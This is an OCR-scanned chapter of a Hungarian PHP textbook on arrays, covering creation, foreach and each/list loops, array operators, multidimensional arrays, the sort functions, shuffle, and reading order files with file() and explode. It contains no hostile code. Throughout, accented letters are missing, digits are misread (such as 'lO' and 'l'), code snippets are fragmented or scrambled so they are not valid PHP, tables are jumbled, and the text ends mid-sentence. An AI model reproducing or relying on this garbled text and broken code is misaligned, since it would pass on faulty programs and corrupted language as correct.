Ez a kd ltrehozza a$termekek nev,a hrom adott rtket-'Gumiabroncs', 'Olaj' s 'Gyertya'-tartal maz tmbt. rdemes megemlteni,hogy az echo-hoz hasonlan tulajdonkppen az array () is inkbb nyelvi szerkezet, mintsem fggvny. A tmbben troland tartalomtl fggen elkpzelhet, hogy -az elz pldval ellenttben - nem sajt kezleg kell ltre hozni azt. Ha egy msik tmbben rendelkezsnkre ll a szksges adat, az harunk brmely tmbt. Ha emelked szmsorozatot kivnunk tmbben trolni, a range () fggvny automatikusan ltrehozza szmunkra a tm bt. A kvetkez utasts,a s zarnak nev, 1-tl lO-ig terjed elemek sorozatt tartalmaz tmbt lltja el:
$szamak = range(l,lO);
=
A range() fggvny harmadik, opcionlis paramtervel az rtkek kztti lpskze hatrozhatjuk meg. Ha pldul olyan tmbre van szksgnk,amely az l s 10 kztti pratlan szmokat tartalmazza,a kvetkezkppen hozhatjuk ltre:
$paratlan_szamok = range(l, $betuk range ('a', 'z');
10,
2);
Amennyiben a kivnt informcit valamely fjlban troljuk, kzveclenl ebbl az llomnybl is betlthetjk a tmb tartal mr. Ezzel a tmakrrel a fejezet ksbbi, Tmbk feltltse fjlokbl cm rszben foglalkozunk. Ha a tmbbe sznt adatok adatbzisban troldnak,a tmb tartalmt kzveclenl az adatbzisbl is betlthetjk. Ennek folyamatt a MySQL
adatbzis elrse a webrl PHP-vel cm, ll. fejezetben mutatjuk be. vgrehajtsa cm rszben ismerkednk meg.
Megfelel fggvnyekkel kinyerhetjk a tmbk egyes rszeit,illetve trendezhetjk tartalmukat. Ezekkel a fggvnyekkel a fejezet egy ksbbi,Egyb tmbmveletek
Tmbk hasznlata
57
Annak ellenre, hogy a PHP meglehetsen intelligensen dolgozza fel a karakterlncokat, knnyen sszezavarodhatunk. Amennyiben azzal a problmval tallkozunk, hogy a PHP nem megfelelen rtelmez egy olyan tmbt vagy vltozt, amely ketts idzjelek kztti karakterlncba van gyazva, akkor helyezzk ket az idzjelen kvl, vagy hasznljunk sszetett szintaktikt! Ez utbbit a
utasts
megf elelen mkdik, m a fejezet ksbbi rszben sok olyan sszetettebb pldt ltunk, ahol a vltozkat az idzjellel kz refogott karakterlncon kvl tallj uk. A tbbi PHP vltozhoz hasonlan a tmbket sem kell inicializlni vagy elzetesen ltrehozni. Els hasznlatukkor auto matikusan ltrejnnek. A kvetkez kd ugyanazt a$ termekek tmbt hozza ltre, mint amit korbban az array () utastssal lltotrunk el:
$termekek[Ol = 'Gumiabroncs'; $termekek[ll = 'Olaj'; $termekek[2l = 'Gyertya';
Amennyiben a $termekek mg nem ltezik, az els sor ltrehoz egy egyetlen elem, j tmbt. A kvetkez sorok rt keket adnak a tmbhz. Ahogy elemeket adunk a tmbhz, az dinarnikusan vltoztatja mrett. Ez az tmretezsi lehetsg
a
A ciklus a kettvel ezeltti kdhoz hasonl kimenetet eredmnyez, m sokkal kevesebbet kell gpelnnk ahhoz, hogy egy nagy tmb minden egyes elemr kezelni tudjuk. A tny, hogy egyszer ciklusokkal a tmbk minden egyes elemr knnyen elrjk, vonzv teszi a tmbk hasznlatr. Elvehetjk a kifejezetren a tmbkkel val munkhoz kialaktott foreach cik lust is. Ebben a pldban a kvetkezkppen kellene hasznlnunk:
foreach ($termekek as $aktualis) echo $aktualis." ";
A fenti kd minden egyes elemet egyenknt eltrol az $aktualis vltozban, s kirja azt.
Tmb inicializlsa
A kvetkez kd ltal ltrehozott tmb a termknevet hasznlja kulcsknt, a tmb elemeinek rtke pedig az adott termk ra:
$arak = array('gumiabroncs'=>lOO, 'olaj'=>lO, 'gyertya'=>4);
A kulcsok s az rtkek kztri szimblum egyszeren egy egyenlsgjel s az azt kvet nagyobb szimblum.
Tmbelemek elrse
A tartalmat ebben az esetben is a vltoz, azaz a tmb nevvel s a kulccsal rjk el, vagyis az arak (azaz rak) tmbben trolt informcit az albbiakkal kapjuk vissza:
$arak['gumiabroncs' l, $arak['olaj 'l
s $arak ['gyertya'].
A kvetkez kd ugyanezt az $arak tmbt eredmnyezi. Ez a vltozat azonban nem hrom elemmel hozza ltre a tm bt, hanem csak egyetlen eggyel, majd kt tovbbi elemet ad hozz:
$arak = array( 'gumiabroncs'=>lOO ); $arak['olaj'] = 10; $arak['gyertya'] = 4;
58
3. fejezer
Nzznk mg egy kiss eltr, m az elzvel egyenrtk kdot! Irt kzvedenl egylraln nem hozzuk ltre a tmbt, hanem az els elem hozzadsa hozza ltre:
$arak['gumiabroncs'] $arak['o1aj']
= =
100;
10; = 4;
$arak['gyertya']
Ciklusok hasznlata
Mivel a tmbben hasznlt indexek jelen esetben nem szmok, a tmbbel val munkhoz nem vehetnk ignybe egyszer szmllt alkalmaz for ciklust. Hasznlharjuk ellenben a foreach ciklust, illetve a list() s az each () szerkezeret. A foreach ciklus asszociatv tmbk esern kiss eltr szerkezettel mkdik. Hasznlhatjuk poncosan gy, ahogyan az elz pldban tettk, vagy bevehetjk a kdba a kulcsokar is:
foreach ($arak as $kulcs => $ertek) echo $kulcs." - ".$ertek."<br />"; {
3.2 bra: Az eaeh () utastssal vgiglpkedhetnk a trnhkn. Az l. fejezetben megvizsgltuk a while ciklusokat s az echo utastst. Az elz kd az each() fggvnyt hasznlja, amellyel ez idig nem tallkoztunk. A fggvny egy adott tmb aktulis elemr adja vissza, majd a kvetkez elemet teszi az aktuliss. Mivel while ciklusan bell hvjuk meg az each() fggvnyt, egyenkm visszaadja a tmb minden elemr, majd lell, amikor elrjk a tmb vgt. Az $elem ebben a kdban tmb. Amikor meghvjuk az each() fggvnyt, ngy rcket s a tmbn belli elhelyezke dsre utal ngy indexet tartalmaz rtket kapunk. A kulcs az $elem tmbvltoz O. indexn, az rtk az $elem tmb l. indexn rhet el. Mindegy ugyan, hogy melyiket vlasztj uk, mi most gy dntttnk, hogy a szmozott helyett a nvvel jellt pozcit ( indexet) hasznljuk. Gyakran ennl elegnsabb megkzelrst alkalmazunk ugyanerre. A list () szerkezettel adott szm rtkre oszthatunk egy tmbt. A kvetkezkppen vlasztharunk szt kettt az eae h() fggvny ltal visszaadott rtkek kzl:
while (list($termek, $ar) = each($arak)) { echo "$termek - $ar<br />";
Ez a sor az eaeh() fggvnyt hasznlva fogja az $arak aktulis elemet, tmbkm visszaadja azt, majd a kvetkez elemet teszi az akculiss. A list ( ) segtsgvel a $termek s $ar nev kt vltozv alaktja az each () ltal visszaadott tmb nulladik s els elemeit. Az albbi rvid kddal a teljes $arak tmbt bejrhatj uk, s megjelenthetjk tartalmr:
reset($arak); while (list($termek, $ar) = each($arak)) echo "$termek - $ar<br />";
Tmbk hasznlata
59
Ennek kimenere megegyezik az elz kdval, m knnyebben olvashat, mert a l ist () lehetv teszi, hogy nevet rendel jnk a vlrozkhoz. Az ea ch () hasznlarakor gyeljnk arra, hogy a tmb szmon targa az aktulis elemr! Ha ugyanabban a kdban ktszer kvnunk hasznlni egy tmbt, a res et () fggvnnyel vissza kell lltani az aktulis elemet a tmb elejre. Az arak tmb ismtelt bejrshoz gpeljk be a kvetkezket:
reset ($arak); while ( list ( $termek, $ar
each ( $arak )
/>";
Ez a kd visszallga az aktulis elemet a tmb elejre, s ezzel lehetv teszi, hogy jra vgiglpkedjnk a tmbn.
Tmhmveleti jelek
A tmbkn klnleges mveleri jelek alkalmazhatk. Tbbsgknek van skalris megfelelje, ahogy ez a 3.1 tblzatbl kiderl.
3.1
3
E redm ny
$b
Mveleti jel
+
Plda
$a
+
\"
Az $a s a $b unija. A $b tmbt hozzfzi $a-hoz, de az azonos kulcs elemeket nem adja hozz. Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal mazza. Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal mazza, radsul azok tpusa s sorrendje is megegyezik. Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza. Ugyanaz, rnint a!=. Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza, vagy az elemek tpusa s/vagy sorrendje nem egyezik meg.
$a == $b
$a
===
$b
!=
<>
$a
$b
$a <> $b $a
!==
!== $b
Ezek a tmbopertorok nagyrszt magtl rtetdek, csak az uni szorul nmi tovbbi magyarzatra. Az uni mveleri jel megksrli hozzadni a $b elemeit az $a vghez. Ha a $b valamely elemei az $a tmbben is megtallhat kulcsokkal rendel keznek, akkor azokat nem fogja hozzadni. Ez azt jelenti, hogy a mvelet nem rja fell az $a elemeit. Ltni fogjuk, hogy a 3.1 tblzatban lv tmbmveleri jelek rnindegyiknek ltezik skalris vltozkon mkd megfele lje. Ha megjegyezzk azt, hogy a sonltani a skalris tpusokkal.
+
sszeadst hajt vgre a skalris tpusokon s unit tmbk esetn, mkdsket akkor is
rtelmezni tudjuk, ha nem kvnunk elmlyedni a mgttk ll matematikban. A tmbket nem lehet rtelmesen sszeha
Tbbdimenzis tmbk
A tmbk nem szksgszeren csak kulcsok s rtkek egyszer listi; a tmb minden egyes eleme akr egy msik tmbt is trolhat. gy hozhatunk ltre ktdimenzis tmbket. Az ilyen tmbket mtrixknt kpzelheljk el, amelynek szlessge s magassga is van - ezek a sorok s az oszlopok. Ha egynl tbb adatot szeremnk trolni a Bob ltal forgalmazott termkekrl, ktdimenzis tmbt kell hasznlnunk. A 3.3 brn ktdimenzis tmbknt ltjuk Bob termkskljt, amelyben a sorok egy-egy termket, az oszlopok az eltrolt termkjellemzt tartalmazzk.
60
3. fejezet
Kd
TIR OIL
Megnevezs
Gumiabroncs Olaj Gyertya termkjellemz
r
100
10 4
SPK
3.3 bra: Egy ktdimenzis tmbben tbb informcit trolhatunk Bob termkeirl.
Ebbl a meghatrozsbl lthat, hogy a$ termekek tmb most hrom tmbt tartalmaz. Emlkezhetnk r, hogy egydimenzis tmbkben lv adatok elrshez a tmb nevre, illetve az elem indexre van szk sg. A dolog ktdimenzis tmb esern is hasonlan mkdik annyi klnbsggel, hogy nnden elem kett, egy sor- s egy oszlopindexszel br. (A legfels sor a O. sor, a bal szls oszlop pedig a O. oszlop.) Ha ennek a tmbnek az elemeit kellene megjelentennk, a kvetkezkppen rnnk el az egyes elemeket:
echo 'l'.$termekek[O] [0].'l' .$termekek[0)[1).' l'.$termekek[0)[2).' l<br />'; echo
Egy
for
for ($sor = 0;
$sor < 3;
$sor++)
for ($oszlop = 0;
$oszlop < 3;
A kt pldakd kztt az az egyetlen, m nem elhanyagolhat klnbsg, hogy nagyobb tmb esetn a msodik vltozat sokkal kevesebb gpelst ignyel. rdemes lehet az oszlopoknak a szmok helyett nevet adni, ahogy ezt a 3.3 brn is ltjuk. Ha ugyanezeker a termkeker a 3.3 brn lthat oszlopnevekkel szeretnnk eltrolni, az albbi kdot kellene megrnunk:
$termekek = array( array( 'Kod' => 'TIR', 'Megnevezes' => 'Gumiabroncs', 'Ar' => 100 )' array( 'Kod' => 'OIL', 'Megnevezes' => 'Olaj', 'Ar' => 10 )' array( 'Kod' => 'SPK', 'Megnevezes' => 'Gyertya', 'Ar' =>4 );
Ez a tmb egyszerbben kezelhet, ha egyetlen rtket szeretnnk visszakeresni. Knnyebb megjegyezni, hogy a megne vezst a "Megnevezs" oszlopban troljuk, mintsem azt, hogy az l. oszlopban. Ha beszdes nev indexeket hasznlunk, nem szksges megjegyezni, hogy egy adott elemet az [xJ [yJ helyen trolunk. Knnyedn megtalljuk a keresett adatot, ha rtelmes sor- s oszlopnevekkel hivatkezunk a trolsi helyre.
Tmbk hasznlata
61
Ezzel azonban elvesztjk annak lehetsgt, hogy egyszer for ciklussal egyenknt vgiglpdeljnk az oszlopokon. Nz zk meg e tmb megjelentsnek egy lehetsges mdjt:
for ( $sor
=
echo
'l' .$termekek[$sor] [ 'Kod' l.' l' .$termekek[$sor] [ 'Megnevezes']. 'l' .$termekek($sor] ['A r'].'l<br />';
Egy for ciklussal vgiglpkedhetnk a kls, numerikusan indexelt$ termekek tmbn. Ennek a tmbnek minden sora ler nev indexekkel rendelkezik. Egy while ciklusba helyezett each} list(} ( s tmbkn. Ezek szerint egy while ciklusra van szksgnk a for ciklusban:
for ( $sor
=
while list( (
each(
$termekek[$sor]}}
Nem szksges megllnunk kt dimenzinl. Ugyangy, ahogy a tmbelemek tmbket is tartalmazhatnak, ezekbe a tm bkbe is rakharunk jabb tmbket. Egy hromdimenzis tmbnek magassga, szlessge s mlysge is van. Ha a ktdimenzis tmbkre oszlopokbl s so rokbl ll tblzatknt gondolunk, akkor kpzeljk el, ahogy ezeket a tblzatokat egymsra pakoljuk! Az egyes elemekre azok rtege, sora s oszlopa alapjn hivatkozhatunk. Ha Bob kategrikra bontan termkeit, hromdimenzis tmbben trolhatn azokat. A 3.4 bra hromdimenzis tmb ben mutatja a Bob ltal forgalmazott termkeket.
'0
}:J
zo
t ll
l
Teberaut-alkatraak Kd
Kiateheraut-alkalrisulr. Kd
Met!Devez&
l l
r 100 10 4 r
AataJka Megnevez&
Gumiabroncs Olaj Gyerrya
l--ll--lt--
Kd
1[
3.4 bra: A
$kategoriak
=
termkjellemz
Az ezt a tmbt meghatroz kdbl lthatjuk, hogy egy hromdimenzis tmb tmbk tmbjt tartalmazza:
array( array ( array( array( array( } array ( ' array( array( array( } ' array ( array( array( array( 'TRK_TIR', 'TRK_ OIL',
'TRK
100} ,
10 } ,
4}
'Gyertya',
120 ) '
15} ' 6}
-SPK', 'Gyertya',
} ;
62
3. fejezet
Mivel ez a tmb csak numerikus indexeket tartalmaz, begyazort for ciklusokkal jelenthetjk meg a tartalmr:
for ($reteg = 0; for ($sor = O; for ($oszlop Sreteg < 3; $sor < 3;
=
Sreteg++) {
A tbbdimenzis tmbk ltrehozsi mdja lehetv teszi ngy-, t- vagy akr hatdimenzis tmb megalkotst is. A prog ramozsi nyelv szempontjbl nincsen korltja a dimenzik szmnak, m hromnl tbb dimenzij szerkezeteket nehezen rodunk vizulisan magunk el kpzelni. A vals vilgban jelentkez problmk legtbbje hrom vagy kevesebb dimenzival kezelhet.
Tmbk rendezse
Gyakran jl jhet, ha rendezni rodjuk az egy tmbben lev, egymssal sszefgg adatokat. Egydimenzis tmb esetn ezt igen knnyen megtehetjk.
array( 'Gyertya',
'Gumiabroncs',
'Olaj ' ) ;
sort($termekek);
A tmb elemei mostantl a Gumiabroncs, Gyertya, Olaj sorrendben jelennek meg. Az rtkeket numerikusan is rendezhetjk. Amennyiben tmbnk Bob termkeinek az rt tartalmazza, a kvetkezkppen rendezhetjk nvekv szmsorrendbe:
$arak = array( 100, sort($arak); 10, 4 );
Az rak ekkor a 4, 10, 100 sorrendben jelennek meg. rdemes megjegyezni, hogy a sort () fggvny megklnbzteti a kis- s nagybetket. A nagyberuk az sszes kisbett megelzik. Vagyis az A a Z eltt van, s a Z is megelzi az a-t. A fggvny egy opcionlis msodik paramterrel is rendelkezik. Az albbi llandk valamelyikt adhatjuk neki: SORT_
REGULAR (ez az alaprtelmezert), SORT_NUMERIC s SORT_STRING. A lehetsg. hogy megadjuk a rendezs tpust, akkor
Tmbk rendezse
a sort
() s ksort () fiiggvnyekkel
Amennyiben jelentssei br kulcsokat hasznl tmbben troljuk el az rucikkeket s azok rt, msmilyen rendez fggvnyt kell vlasztanunk ahhoz, hogy a kulcsok s az rtkek rendezs kzben is egytt maradjanak. A kvetkez kd hrom termket s azok rt tartalmaz tmbt hoz ltre, majd rak szerint nvekv sorrendbe rendezi a tmbt:
$arak = array( 'gumiabroncs'=>lOO, asort($arak); 'olaj '=>10, 'gyertya'=>4 );
Az asort () az elemek rtke szerint rendezi a tmbt. Ebben a tmbben az rak az rtkek, a kulcsok pedig a sz veges lersok. Ha r helyert cikknv szerint kvnunk rendezni, a ksort () fggvnyt hasznljuk, amely az rtk helyert a kulcsot tekinti a rendezs alapjnak. A kvetkez kd eredmnyeknt a tmb kulcsai lesznek bcrend szerint rendezve Gumiabroncs, ksort($arak); Gyertya, Olaj: 'olaj '=>10, 'gyertya'=>4 ); $arak = array( 'gumiabroncs'=>100,
Tombk hasznlata
63
Fordtott rendezs
A hrom klnbz rendez fggvny- sort(},asort (} s ksort (} - emelked sorrendbe rendezi a tmbt. Mind egyik fggvnynek ltezik egy prja, amely fordtott sorrend szerint- azaz cskken sorrendbe - rendezi a neki radott tm bt. Ezek neve rsort (}, arsort (} s krsort(}. A fordtott sorrend szerint rendez fggvnyeket az emelked sorrendbe rendez prjukkal egyez mdon hasznljuk. Az
rsort(} fggvny egydimenzis, numetikusan indexelt tmbt rendez cskken sorrendbe. Az arsort (} fggvny az egyes
elemek rtke, a krsort (}pedig az egyes elemek kulcsa alapjn rendezi cskken sorrendbe az egydimenzis tmbket.
'Gumiabroncs', 'Olaj',
100 } ,
10 }, 4 } };
'Gyertya',
Ha rendezzk ezt a tmbt, milyen sorrendben jelennek meg az rtkek Mivel tudjuk, mit jelent a tmb tartalma, legalbb ktfle rtelmes sorrend ltezik. Hasznos lehet a termkeket megnevezsk szerint bcrendbe vagy ruk szerint numeriku san rendezni. Mindkt rendezs lehetsges, de az usort(} fggvnyt kell hasznlnunk, s kzlni kell a PHP-vel, hogyan hasonlrsa ssze az elemeket. Ehhez sajt sszehasonlt fggvnyt kell rnunk. A kvetkez kd a tmb msodik oszlopt, a megnevezst hasznlva rendezi bcrendbe tmbnket:
function osszehasonl itas ($x, if ($x[l)
==
$y} l
$y[l)} l
<
return 0; else if
($x[l)
$y[l)}
return l;
usort($termekek,
1 osszehasonli tas 1} ;
A knyv eddigi rszben szmos beptett PHP fggvnyt hvtunk meg. Tmbnk rendezshez definilnunk kell sajt fggvnynket. A fggvnyrssal rszletesen foglalkozunk majd aKdok ben, ezrt tekintsk az albbiakat pusztn rvid bevezetsnek! Fggvnyt a function kulcsszval definilunk. rdemes fggvnyeinknek rtelmes nevet adni, jelen esetben nevezzk pldul osszehasonl itas(} -nak! A fggvnyek tbbsge paramterrel mkdik. Ez az osszehasonli tas(} fggvny kt paramtert fogad: az egyiknek $x, a msiknak $y a neve. A fggvny clja nem ms, mint hogy vesz kt rtket, s megha trozza sorrendjket. Pldnkban az $x s az $y a f tmbn belli kt tmb, amely egy-egy termket jelkpez. Az $x tmb Megnevezes ele mr az $x[l) kddal rjk el, hiszen a Megnevezes a tmb msodik eleme, a szmozs pedig nullval kezddik. Az $x[l) s $y [l) kifejezsekkel sszehasonlthatjuk a fggvnynek a tmb ltal radott megnevezseket. Amikor a fggvny vget r, vlaszt ad az t meghv kdnak. Ezt nevezzk a fggvny hoz a return kulcsszt hasznljuk a fggvnyben. A return l;
Ahhoz, hogy az usort(} hasznlhassa, az osszehasonlitas(} fggvnynek ssze kell hasonltania $x-et s $y-t. A fggvny visszatrsi rtke O legyen akkor, ha $x s $y egyenl, negatv szm, ha $x a kisebb, s pozitv, amennyiben az a nagyobb. A fggvny visszatrsi rtke $x s $y rtktl fgg en O, l vagy -l.
64
3. fejezet
A kd utols sora az usort () beptert fggvnyt hvja meg, paramterknt a rendezni kvnt tmbt ( Stermekek) s az sszehasonlt fggvnyt ( osszehasonlitas ())tadva neki. Ha mshogyan szeremnk rendezni a tmbt, egyszeren msmilyen sszehasonlt fggvnyt runk neki. r szerinti ren dezshez a tmb harmadik oszlopt kell venni, s az albbi sszehasonlt fggvnyt kell megrni:
function osszehasonlitas($x, if ($x[2]
==
$y)
$y[2])
$y[2])
Meghvsakor az usort($termekek,
Ha tesztels gyannt Juttatnnk ezeket a kdrszleteket, semmilyen kimenetet nem kapnnk. Ezek a kdok egy nagyobb programba valk.
Megjegyzs: Az usort () fggvny nevben lev
u
az angol
ltal megrt sszehasonlt fggvnyre van szksg. Az asort s ksort fggvny fordtort sorrend szerint rendez vltozata, az uasort() sazuksort () is ignyli a felhasznl ltal definilt, sszehasonlt fggvnyeket. Az asort() fggvnyhez hasonlan az uasort() fggvnyt is nem numerikusan indexelt tmb rtk szerinti rendezs hez hasznljuk. Az elbbi akkor alkalmazhat, ha az rtkek egyszer szmok vagy szveg. Ha az rtkek sszetertebb objek tumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort () fggvnyt! A ksort () fggvnyhez hasonlan az uk sort () fggvnyt is nem numerikusan indexelt tmb kulcs szerinti rendez shez hasznljuk. Az elbbit akkor vegyk ignybe, ha a kulcsok egyszer szmok vagy szvegek! Ha a kulcsok sszetertebb objektumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort() fggvnyt!
r betvel. A fel
hasznl ltali rendezseknek nincsen fordtort vltozata, ennek ellenre fordtort sorrendbe is rendezheg k a tbbdimenzis tmbket. Mivel az sszehasonlt fggvnyt mi magunk llig uk el, megrhatjuk gy, hogy ellentert rtkkel trjen vissza. Cskken sorrend szerinti rendezshez fggvnynk visszatrsi rtke akkor legyen l, ha $x kisebb, mint $y, s akkor legyen
- l , ha $x nagyobb, mint $y. Pldul: function fordtott_osszehasonlitas($x, if (Sx[2]
==
$y)
$y[2])
$y[2])
Az usort($termekek,
'ford tott_osszehasonl tas') meghvsa ekkor azt eredmnyezi, hogy a tmb r sze
Tmbk trendezse
Elfordulhat, hogy bizonyos alkalmazsokhoz mshogyan szeretnnk kezelni a tmb elemeinek sorrendjt. A shuffle ( ) fggvny vletlenszer sorrendbe rakja a tmbelemeket. Az array_reverse( ) fggvny az eredeti tmb msolatt adja visz sza, amelyben az elemek fordtott sorrendben szerepelnek.
Tombk hasznlata
65
oldalon csak hrom, vletlenszeren kivlasztott elem jelenjen meg. Hogy a trzsvendgeket ne untassa, azt szeretn, hogy ez a hrom kivlasztott termk minden ltogatsnl ms s ms legyen. Cljt egyszeren elrheti, ha termkeit egyetlen tmbbe rakja. A 3.1 pldakd hrom, vletlenszeren kivlasztott kpet jelent meg azzal, hogy vletlenszer sorrendbe rendezi a tm bt, majd megjelenti els hrom elemr.
3.1 pldakd: bob_nyi to_oldala.php -Din amikus nyitoldalltrehozs a PHP-vel Bob al katrsz-kereske ds hez
<?php Skepek array('abroncs.jpg', 'gyujto_gyertya.jpg', 'kormanykerek.jpg', 'ablaktorlo_lapat.jpg', 'fekbetet.jpg'); shuffle ($kepek); ?> <html> <he ad> <title>Bob autalkatrszek</t itle> </head> <body> <hl> Bob autalkatrszek</hl> <div align="center"> <table width = 100%> <tr> <?php for ($i = 0; Si < 3; $i++) { echo "<td align=\"center\"><img src=\""; echo $kepek[$i]; echo "\"/></td>"; ?> </tr> </table> </div> </body>
Mivel a kd vletlenszeren vlaszt kpeket, szinte minden egyes betltskor ms s ms oldalt ltunk (3.5 bra).
Bob autalkatrszek
9--3.5 bra: A shuffle()fggvnnyellehetv vlik, hogyki emeljnkhrom, vletlenszeren kvlasz ott t ermket. i t
66
3. fejezet
{
$i);
array_push($szamok,
A for ciklus a kvetkezkppen eredmnyezhet cskken sorrendet: megadunk egy nagy kezdeti rtket, majd a ciklus minden egyes lefutsnak vgn eggyel cskkentjk a -- mveleti jellel. Irt ltrehozunk egy res tmbt, majd az elemeket az array_push() fggvnnyel hozzadjuk a rmbhz, mindegyiket annak vghez. (Zrjelben jegyezzk meg, hogy az array_push () ellentte az array _pop () fggvny. Ez a fggvny elt voltja az adort tmb vgn lv elemet, s visszatrsi rtke is ez az eltvoltort elem lesz.) Hasznlhatjuk az array_reverse( ) fggvnyt is, amivel megfordthatjuk a range() fggvnnyel ltrehozort tmbben az elemek sorrendjt:
$szamok = range(l,lO); $szamok = array_reverse($szamok);
Ne feledjk, hogy az array_reverse ( ) a tmb mdosrott msolatval tr vissza! Ha nincsen szksgnk az eredeti tmbre, mint ahogy az a pldban is volt, akkor a msolarot egyszeren rjuk az eredetibel Ha adaraink egyszeren egsz szmok egy tartomnya, akkor fordtort sorrendben gy llthatjuk ket el, ha a r ange () opcionlis lpskz-paramternek a -l-et adjuk meg.
$szamok = range(lO, l, -1);
l olaj
Smalltown
A megrendels feldolgozshoz vagy teljestshez szksg lehet arra, hogy visszatltsk egy tmbbe. A 3.2 pldakd a meg rendelsi fjl jelenleg vltozatt mutatja.
3.2 pldakd: rendelesek_megtekintese. php-Bob
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT
=
$ SERVER['DOCUMENT_ROOT');
==
for ($i=O;
$i<$rendelesek_szama;
$i++)
Ez a kd majdnem teljesen ugyanazt a kimeneter produklja, mint az elz fejezer 2.3-as pldakdja (kimenete a 2.4 brn volt lthat). Ez alkalommal a kd a file() fggvnyt hasznlja, ami a reljes fjlt egy tmbbe rlri be. A fjl minden egyes sora a tmb egy-egy eleme lesz. A kd a count() fggvny hasznlarval llaptja meg, hogy hny elembl ll a tmb.
Tmbk hasznlata
67
A megrendelsi sorok egyes rszeit elklntve is betlthetjk a fjlt, kln tmbelemekbe helyezve a tartalmat. Ez lehetv
teszi az egyes rszek elklntett feldolgozst, illetve tetszetsebb formzst. A 3.3 pldakd pontosan ezt vgzi el.
3.3 pldakd: rendelesek_megtekintese2.php-Bob megrendelseinek elklntse,formzsa s megjelentse PHP-vel
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT ?> <html> <he ad> <title>Bob autalkatrszek - Megrendelsek</title> </head> <body> <hl>Bob autalkatrszek</hl> <h2> Megrendelsek</h2> <?php //A teljes fjl beolvassa. //Minden megrendels a tmb egy-egy eleme lesz. Srendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt");
=
S_SERVER['DOCUMENT_ROOT');
J'
3
\.
count($rendelesek);
if ($rendelesek_szama Krjk,
==
0)
echo "<table border=\"1\">\n"; echo "<tr><th bgcolor=\"ICCCCFF\">Rendels idpontja</th> <th bgcolor=\"ICCCCFF\">Gumiabroncs</th> <th bgcolor=\"ICCCCFF\">Olaj</th> <th bgcolor=\"ICCCCFF\">Gyertya</th> <th bgcolor=\"ICCCCFF\">Vgsszeg</th> <th bgcolor=\"ICCCCFF\">Szllitsi cim</th> <tr>"; for ($i=O; $i<$rendelesek_szama; Si++)
68
3. fejezet
<td>".$sor[5]."<ltd> </tr>";
A 3.3 pldakd a teljes fjlt egy tmbbe tlti be, de a 3.2 pldakddal ellenttben itt az explode () fggvnnyel sztbont juk a sorokat, hogy nyomtats eltt feldolgozzuk s formzzuk tartalmukat. A kd kimenett a 3.6 brn lthaguk.
-:::-"
IIO:rrf _..-
Bob autalkatrszek Meerendelfuk
4l,lla:l001
SIOOJJ01M.ioa.t,
s.u;
ll7 ,A"_St,
3.6 bra: A megrendelsi rekordok explode () f ggvnnyel val sztbontsa utn a megrendelsek minden rszt kln-kln tb lzatcellba helyezve tetszetsebb kimenetet kapunk.
Az elz fejezetben tabultort hasznlrunk a trolni kvnt adatokat elvlaszt karakterknt, ezrt a kvetkez formban kell meghvni a fggvnyt:
explode( "\t", $rendelesek[$i] )
Ez a kd rszekre bontja a bevitt karakterlncot. A tabultor karakter lesz a szomszdos elemek kztri elvlaszt. Pldul a kvetkez sztringet:
"20:43, 31st March 2008\tO gumiabroncs\t1 olaj\t4 gyertya\t$26,00\t127 Acacia St, Springfield
rdemes megjegyezni, hogy az opcionlislimit paramterrel korltozhaguk a fggvny ltal visszaadott rszek maximlis szmt. Ez a kd nem igazn alkalmas a megrendelsek feldolgozsra. Ahelyett, hogy minden sorba Icirja a gumiabroncsokat, az olajat s a gyertykat, a plda csak megjelenti a rendelsi mennyisgeket, s a tblzat fejlcben tjkoztat arrl, hogy mit je lentenek a szmok. Tbbflekppen Icinyerhetnnk a karakterlncokbl a szmokat. Jelen esetben az intval () fggvnyt vlaszguk erre. Ahogy az l. fejezetben elmondtuk, ez a fggvny egsz szmm alaktja a karakterlncokat. Az talakts kellen intelligens, s figyelmen kvl hagyja azokat a rszeket- gy jelen pldban a cmkt-, amelyeket nem lehet egsz szmm konvertlni. A ka rakterlncok feldolgozsnak klnfle mdjaival a kvetkez fejezetben foglalkozunk majd.
Tombk hasznlara
69
Tmbn belli nav igls: each (),current (),res et (),end (),next (),pos () s prev () fggvny
Ernlrettk korbban, hogy minden tmb egy bels mutatval {pointer} rendelkezik, amely az aktulis elemre mutat. Korb ban, amikor az each() fggvnnyel dolgoztunk, kzvetve mr hasznltuk ezt a mutatt, m kzvetlenl is kezdhetjk. j tmb ltrehozsakor az aktulis mutat a tmb els elemre mutat. A current($tomb_neve) fggvny meghvsa az els elemmel tr vissza. A next() vagy az ea ch () fggvny meghvsa eggyel elre, a kvetkez elemre lpteti a mutatt. Az each($tomb_
neve) meghvsa a mutat elrelptetse eltt adja vissza az aktulis elemet. A next() fggvny ettl kiss eltren viselke
dik: a next($tomb _neve) elrelpteti a mutatt, majd az j aktulis elemet adja vissza.
Korbban lthattuk, hogy a reset() a tmb els elemre kldi vissza a mutatt. Ennek prja az end($tomb_neve), amelynek meghvsval a tmb vgre kldjk a mutatt. Ennek megfelelen a tmb els, illetve utols elemr a reset() s
end ( ) fggvnnyel kaphatjuk vissza.
Ha fordtva szeretnnk bejrni egy tmbt, az end () s prev () fggvnyt kell hasznlnunk. A prev() fggvny a next( ) ellentettje. Eggyel visszbb lpteti a mutatt, majd ezt az j aktulis elemet adja vissza. A kvetkez kd pldul fordtott sorrendben jelent meg egy tmbt:
$ertek
=
end ($tomb);
prev($tomb);
array(l,
2,
3);
Az each(),current(),reset(),end(),next(),pos () s prev () fggvnnyel tmbjeinket az ltalunk kivnt tet szleges mdon bejr kdot hozharunk ltre.
A korbban hasznlt usort () fggvnyhez hasonlan az array_walk() is megkveteli, hogy sajt fggvnynket dek larljuk. Lthat, hogy az array_ wa lk() hrom paramtert fogad. Az els, a tomb a feldolgozni kvnt tmb. A msodik,
fuggveny nev paramter a felhasznl ltal definilt fggvny, amit a tmb minden elemre alkalmazni kvnunk. A har
